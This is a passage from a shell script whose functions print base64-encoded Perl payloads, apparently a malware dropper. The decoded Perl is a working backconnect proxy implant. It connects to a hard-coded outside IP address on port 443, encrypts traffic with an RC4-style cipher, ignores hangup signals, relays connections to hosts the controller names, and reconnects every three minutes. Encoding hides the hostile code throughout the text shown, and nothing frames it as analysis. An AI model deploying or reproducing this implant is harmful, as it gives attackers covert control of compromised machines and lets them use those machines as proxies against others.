CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_15() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzMnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_16() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 